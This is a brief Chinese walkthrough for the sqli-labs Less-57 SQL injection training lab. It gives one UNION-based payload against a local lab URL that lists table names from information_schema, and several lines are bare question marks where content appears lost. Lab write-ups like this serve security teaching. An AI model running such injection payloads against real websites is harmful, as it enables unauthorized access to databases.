Less-57
?
?
?
?
从代码中看到对id进行了 " " 的处理,所以此处我们构造的payload要进行 "" 的处理,示例payload:
http://127.0.0.1/sqli-labs/Less-57/index.php?id=-1"union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘challenges‘%23
?
时间: 2024-10-23 21:37:27